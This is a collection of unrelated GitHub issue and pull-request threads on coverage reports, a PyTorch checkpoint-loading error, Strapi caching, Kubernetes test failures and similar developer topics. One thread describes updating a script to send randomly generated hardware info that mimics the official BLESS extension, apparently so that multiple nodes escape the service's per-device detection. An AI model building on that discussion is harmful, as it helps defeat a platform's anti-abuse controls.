  Partials        ?     1260

Impacted Files
Coverage Δ

src/client/common/utils/localize.ts
96.25% <100.00%> (ø)

src/client/typeFormatters/blockFormatProvider.ts
11.53% <0.00%> (ø)

...very/locators/services/virtualenvwrapperLocator.ts
76.92% <0.00%> (ø)

...n/terminal/shellDetectors/settingsShellDetector.ts
96.96% <0.00%> (ø)

src/client/common/process/logger.ts
91.30% <0.00%> (ø)

...er/extension/configuration/providers/fileLaunch.ts
100.00% <0.00%> (ø)

src/client/datascience/liveshare/serviceProxy.ts
5.88% <0.00%> (ø)

...tension/configuration/debugConfigurationService.ts
78.94% <0.00%> (ø)

...lient/datascience/notebookStorage/notebookModel.ts
46.89% <0.00%> (ø)

src/client/terminals/codeExecution/repl.ts
100.00% <0.00%> (ø)

... and 707 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0f0dec9...d272c45. Read the comment docs.


Error reported during training phase

Hello, would you like to ask how to solve the following error during training in version torch=2.0.1?
[04-22 21:18:11] (ata/private/VAR/train.py, line  41)=> [build PT data] ...
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  34)=> [Dataset] len(train_set)=17028, len(val_set)=3552, num_classes=1000
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  48)=> Transform [train] =
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> Resize(size=288, interpolation=lanczos, max_size=None, antialias=warn)
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> RandomCrop(size=(256, 256), padding=None)
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> ToTensor()
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> <function normalize_01_into_pm1 at 0x7f51d2e66a70>
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  54)=> ---------------------------
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  48)=> Transform [val] =
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> Resize(size=288, interpolation=lanczos, max_size=None, antialias=warn)
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> CenterCrop(size=(256, 256))
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> ToTensor()
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  51)=> <function normalize_01_into_pm1 at 0x7f51d2e66a70>
[04-22 21:18:11] (rivate/VAR/utils/data.py, line  54)=> ---------------------------
[04-22 21:18:11] (ata/private/VAR/train.py, line  64)=> [auto_resume] no ckpt found @ /opt/data/private/VAR/local_output/ar-ckpt*.pth
[04-22 21:18:11] (ata/private/VAR/train.py, line  64)=> [auto_resume quit]
[04-22 21:18:11] (ata/private/VAR/train.py, line  65)=> [dataloader multi processing] ...     dataloader multi processing finished! (0.00s)
[04-22 21:18:11] (ata/private/VAR/train.py, line  71)=> [dataloader] gbs=1, lbs=1, iters_train=17028, types(tr, va)=('DatasetFolder', 'DatasetFolder')
[04-22 21:18:11] (rivate/VAR/models/var.py, line  98)=>
[constructor]  ==== flash_if_available=True (0/16), fused_if_available=True (fusing_add_ln=0/16, fusing_mlp=0/16) ====
[VAR config ] embed_dim=1024, num_heads=16, depth=16, mlp_ratio=4.0
[drop ratios ] drop_rate=0.0, attn_drop_rate=0.0, drop_path_rate=0.0666667 (tensor([0.0000, 0.0044, 0.0089, 0.0133, 0.0178, 0.0222, 0.0267, 0.0311, 0.0356,
0.0400, 0.0444, 0.0489, 0.0533, 0.0578, 0.0622, 0.0667]))
[04-22 21:18:12] (rivate/VAR/models/var.py, line 239)=> [init_weights] VAR with init_std=0.0180422
Traceback (most recent call last):
File "/opt/data/private/VAR/train.py", line 334, in
try: main_training()
File "/opt/data/private/VAR/train.py", line 180, in main_training
) = build_everything(args)
File "/opt/data/private/VAR/train.py", line 98, in build_everything
vae_local.load_state_dict(torch.load(vae_ckpt, map_location='cpu'), strict=True)
File "/opt/data/private/VAR/models/vqvae.py", line 95, in load_state_dict
return super().load_state_dict(state_dict=state_dict, strict=strict, assign=assign)
TypeError: Module.load_state_dict() got an unexpected keyword argument 'assign'

Same issue🥹

hi @zshuo7615 maybe you can delete that arg named 'assign', or upgrade your torch to >= 2.1


Add Visual Studio built-in swap methods

Use visual studio built-in methods for endian swap in Visual Studio 2003 .net and later

Done that :)
Could you delete this first pull request?

Merged the other, closing this.


Add the Pastanaga Icon system

Coverage decreased (-0.08%) to 57.612% when pulling 0e40ca439ca6832152c62a1bbae6c99cbd178000 on newiconssystem into 579d1cf431c26916f947a74c4858e1693a049e3d on master.


Yammer to Viva Engage

Can we please have a change to this document to refer to Viva Engage instead of Yammer?  Or have "Viva Engage (formally known as Yammer)"?  Thanks - this will help with our security conversations in this space.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 4b59be58-a0a1-08a0-bfed-d8958ba58e56
Version Independent ID: 4b59be58-a0a1-08a0-bfed-d8958ba58e56
Content: Data Residency for Other Microsoft 365 Services - Microsoft 365 Enterprise
Content Source: microsoft-365/enterprise/m365-dr-workload-other.md
Service: microsoft-365-enterprise
GitHub Login: @kelleyvice-msft
Microsoft Alias: kvice

@karleesm Thank you for your feedback. We have made changes to the document via PR#https://github.com/MicrosoftDocs/microsoft-365-docs/pull/12287
Once the author approves, the changes will be live.
Thanks
Sri


Any way to cache only plural and not singular endpoints?

Hi, as the title says, would like to only cache plural endpoints like /articles and not /articles/1

+1. any idea if this is possible @stafyniaksacha ?

You will have to disable default routes (injectDefaultRoutes: false) and defines yours https://strapi-community.github.io/strapi-plugin-rest-cache/guide/strategy/cache-custom-routes.html

I couldn't get this to work. Do you have an example config that I could try that caches queries to /articles, including pagination and fields returned. i.e. that would cache a query such as this:
/articles?fields[0]=id&fields[1]=title&fields[2]=slug&fields[3]=summary&populate[0]=coverImage&populate[1]=category&sort=publishedAt:desc&pagination[start]=1&pagination[limit]=12
Thanks

I'd love to get help on this one too.


The given key 'TempStash_NoItemsSaved' was not present in the dictionary

Versions

SPT-AKI Server version 3.8.3
SPT-AKI Profile Editor version 2.9.3
List of installed mods
OpticRework version 1.2.2 from ACOGforlife, SAMSWAT
BRNVG - N-15 Adapter version 1.0.0 from Borkel
SPTQuestingBots version 0.5.0 from DanW
LiveFleaPrices version 1.1.1 from DrakiaXYZ
server version 2.1.1 from Fika
Fontaine FOV Fix & Variable Optics version 1.2.0 from Fontaine
NoDiscardLimit version 1.4.0 from Skwizzy
SPT Realism Mod version 1.3.0 from Fontaine
SWAG + DONUTS version 3.3.5 from nooky and props
Traveler version 1.1.2 from Jehree
SAIN version 2.3.0 from zSolarint

Describe the bug
When adding an item to the stash, the message The given key 'TempStash_NoItemsSaved' was not present in the dictionary.
I'm not in the hideout, but in the railway extraction exit.
Additional context
SPT-AKI Profile file
Just create zip archive with your profile file and drag'n'drop here. Bug reports without attached profile file will be closed without any help if they related to user profile
pupunete_6668ac3b00023042d57e2758.zip

More info:
TempStash_NoItemsSaved is in the Cleaning from mods section:

There is a chainlet in that stash:

If the key is removed from the Cleaning from mods section the exception is different:


Fix for empty rules

Previously, when no rules were defined for a server, pagination would take over and throw a "Page 1 is too high" error. With this, EssentialCmds will throw a more proper error message, specifying clearly that the rules are not defined.

Thanks for the help


Any pre-built dynamic library or executable file for andriod?

Hi, Dear HPI team,
Thanks for the wonderful project. I'm conducting some network binrarization research and want to compare the speed of binray network versus its FP32 counterpart on cellphone. This repository might provide a convienent framework for testing. However, it is a long way to build the OpenBlas and the amalgamation module for ARM platforms. I've tried so for a long time but ony got a lot of errors.
I wonder if you have already compiled some library to run on Android platform. For example, the  jni_libmxnet_predict.so mentioned in the project, by which I could call for speedup testing.
Thanks very much.

Hi, I've successfully built the OpenBlas, however the amalgamation submodule seemed not to be built.
A lot of header files were not found...

Closing this, since we only support the new version from now on: https://github.com/hpi-xnor/BMXNet-v2


Make FileClient generic over codec

Describe the feature
Add field codec: T to FileClient, and make generic over codec. Instead of using the hardcoded type BlockFileCodec here, get the codec by self.codec
https://github.com/paradigmxyz/reth/blob/aece53ae88990bb8d0849b60e9649f68781dd03e/crates/net/downloaders/src/file_client.rs#L204
Additional context
No response

closed by https://github.com/paradigmxyz/reth/pull/12681


OCPBUGS-39505: UPSTREAM: : Updating ose-azure-storage-azcopy-base-container i…

…mage to be consistent with ART for 4.18
Reconciling with https://github.com/openshift/ocp-build-data/tree/827ab4ccce9cbbcf82c9dbaf6398b61d6cff8d7a/images/ose-azure-storage-azcopy-base.yml
Reconciling manually to add UPSTREAM: <carry>:, ART toolchain was not configured to add it automatically.
cc @openshift/storage

/lgtm
/label no-qe

/label qe-approved


Fix unit tests of log plugin manager.

What this PR does / why we need it:

Fix unit tests of log plugin manager.
Update build files.
gofmt.

Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #74
Special notes for your reviewer:
Release note:

有一个新的 failure:
E1213 06:20:29.502258    1915 util.go:33] json unmarshal error, invalid character 'i' looking for beginning of value, podLogPolicyLabelValue: invalid json
E1213 06:20:29.502790    1915 util.go:33] get pog log policy error, invalid character 'i' looking for beginning of value, pod: "test-pod-4_test()"
--- FAIL: TestGetPodLogPolicy (0.00s)
    util_test.go:382: test GetPodLogPolicy error, expected: &{logexporter false [{container1 std -  container1-stdlog} {container1 app /var/log/app container1-applog container1-applog    } {container1 audit /var/log/audit container1-auditlog container1-auditlog} {container2 app /var/log/app container2-applog container2-applog} {container2 audit /var/log/audit cont    ainer2-auditlog container2-auditlog}]}, actual: &{logexporter false [{container2 app /var/log/app container2-applog container2-applog} {container2 audit /var/log/audit container2-    auditlog container2-auditlog} {container1 std -  container1-stdlog} {container1 app /var/log/app container1-applog container1-applog} {container1 audit /var/log/audit container1-a    uditlog container1-auditlog}]}, pod: "test-pod-1_test()"
E1213 06:20:29.503034    1915 util.go:33] json unmarshal error, invalid character 'i' looking for beginning of value, podLogPolicyLabelValue: invalid json
E1213 06:20:29.503051    1915 util.go:45] get pod log policy error, invalid character 'i' looking for beginning of value, pod: "test-pod-4_test()"
FAIL
FAIL    k8s.io/kubernetes/pkg/kubelet/log/api/util  0.096s

--- FAIL: TestShouldBackupAPIServerCertAndKey (2.75s)
	postupgrade_v18_19_test.go:189: Test 1.9 version with cert not older than 180 days doesn't needs to backup: shouldBackupAPIServerCertAndKey expected false, got true
[upgrade/prepull] Will prepull images for components [kube-apiserver kube-controller-manager kube-scheduler]
[upgrade/prepull] Will prepull images for components [kube-apiserver kube-controller-manager kube-scheduler]
[upgrade/prepull] Will prepull images for components [kube-apiserver kube-controller-manager kube-scheduler]
[upgrade/prepull] Will prepull images for components [kube-apiserver kube-controller-manager kube-scheduler]
[upgrade/prepull] Successfully prepulled the images for all the control plane components
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests116255551/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests367911826"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests367911826/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests367911826/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests367911826/kube-scheduler.yaml"
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-apiserver.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests742711241/kube-apiserver.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-apiserver" upgraded successfully!
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-controller-manager.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests742711241/kube-controller-manager.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-controller-manager" upgraded successfully!
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests116255551/kube-scheduler.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests742711241/kube-scheduler.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-scheduler" upgraded successfully!
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests545603811/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests545603811/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests545603811/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests545603811/etcd.yaml"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests425680583/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests425680583/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests425680583/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests425680583/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests260166522"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests260166522/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests260166522/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests260166522/kube-scheduler.yaml"
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests425680583/kube-apiserver.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests731415185/kube-apiserver.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests657734891/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests657734891/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests657734891/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests657734891/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests623825742"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests623825742/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests623825742/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests623825742/kube-scheduler.yaml"
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests657734891/kube-apiserver.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests997323861/kube-apiserver.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests800020303/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests800020303/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests800020303/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests800020303/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests407165026"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests407165026/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests407165026/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests407165026/kube-scheduler.yaml"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests873118195/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests873118195/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests873118195/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests873118195/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests712817334"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests712817334/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests712817334/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests712817334/kube-scheduler.yaml"
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests873118195/kube-apiserver.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests391391389/kube-apiserver.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-apiserver" upgraded successfully!
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests328646359/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests328646359/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests328646359/kube-scheduler.yaml"
[etcd] Wrote Static Pod manifest for a local etcd instance to "/tmp.k8s/kubeadm-upgraded-manifests328646359/etcd.yaml"
[upgrade/staticpods] Writing new Static Pod manifests to "/tmp.k8s/kubeadm-upgraded-manifests995029066"
[controlplane] Wrote Static Pod manifest for component kube-apiserver to "/tmp.k8s/kubeadm-upgraded-manifests995029066/kube-apiserver.yaml"
[controlplane] Wrote Static Pod manifest for component kube-controller-manager to "/tmp.k8s/kubeadm-upgraded-manifests995029066/kube-controller-manager.yaml"
[controlplane] Wrote Static Pod manifest for component kube-scheduler to "/tmp.k8s/kubeadm-upgraded-manifests995029066/kube-scheduler.yaml"
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests328646359/kube-apiserver.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests920035105/kube-apiserver.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-apiserver" upgraded successfully!
[upgrade/staticpods] Moved new manifest to "/tmp.k8s/kubeadm-upgraded-manifests328646359/kube-controller-manager.yaml" and backed up old manifest to "/tmp.k8s/kubeadm-backup-manifests920035105/kube-controller-manager.yaml"
[upgrade/staticpods] Waiting for the kubelet to restart the component
[upgrade/staticpods] Component "kube-controller-manager" upgraded successfully!
FAIL
FAIL	k8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade	15.196s

这个应该是 travis 资源比较低导致的。


fix more race conditions

Closing in favor of https://github.com/migtools/volume-snapshot-mover/pull/165


new PING?

Hi,
I see new PING API from BLESS. Do you review it?

Thanks for the heads up, I'll check it out later.

Seem they removed hw ID from node too.

i can confirm they change the IPfetch and ping data send.
For HWID, they still send this but in the newer version they gather exact hardwareinfo too (cpu models, gpu models, ram, core, etc.)
I will update later when I have time!

I update the script with the new node logic, please pull the repo again

I can confirm they change the IPfetch and nodedata send. For HWID, they still send this but in the newer version they gather exact hardwareinfo too (cpu models, gpu models, ram, core, etc.)
I will update later when I have time!

then now they collect and know all node run via script in same PC hardware. before hw id from the hardware which node created.

Update the script please, I already add hardwareinfo generator in the script. It automatically generate random hardwareinfo and save it in the .json file. Now the script will send same package payload like the extension do

Thank you for updating. Just one question.
I see in API https://gateway-run.bls.dev/api/v1/nodes/{node}/ping
have payload: {"isB7SConnected":false}
This is the new one i want to tell you, but seem you still use the current old ping in script.

they still use the old one to ping too. Maybe I'll check again later, right now I don't have much time to make changes to the code.


BW tracker

This PR adds basic memory bandwidth tracking/reporting via Nd4jEnvironmentInformation bean.

@agibsonccc @wmeddie Here's small example: https://github.com/deeplearning4j/nd4j/blob/0dbad61796640e68f5b5b798cafcfcd25e24aef8/nd4j-backends/nd4j-tests/src/test/java/org/nd4j/linalg/profiling/PerformanceTrackerTests.java#L113-L122

P.s. please note: Nd4j.getExecutioner().setProfilingMode(OpExecutioner.ProfilingMode.BANDWIDTH);


Gerber file for the PCB

Hi,
Do you have a gerber file for the PCB? I might be able to persuade someone to print it for me.

No, sorry.
Alexander Shtuchkin
On Mon, Dec 2, 2019 at 10:15 AM toncho11<EMAIL_ADDRESS>wrote:

Hi,
Do you have a gerber file for the PCB? I might be able to persuade someone
to print it for me.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/ashtuchkin/vive-diy-position-sensor/issues/67?email_source=notifications&email_token=AAEZKHJIJO52US6FT6RDQOTQWURCZA5CNFSM4JTXMF3KYY3PNVWWK3TUL52HS4DFUVEXG43VMWVGG33NNVSW45C7NFSM4H5JMJJQ,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAEZKHKF7YDKSBIZVRP73UDQWURCZANCNFSM4JTXMF3A
.


Feature/issue 20 isba16

Announce ISBA course details and add ASA webinar event.
Not sure why git complains that it can't be merged automatically.

SORRY; WRONG PLACE!!!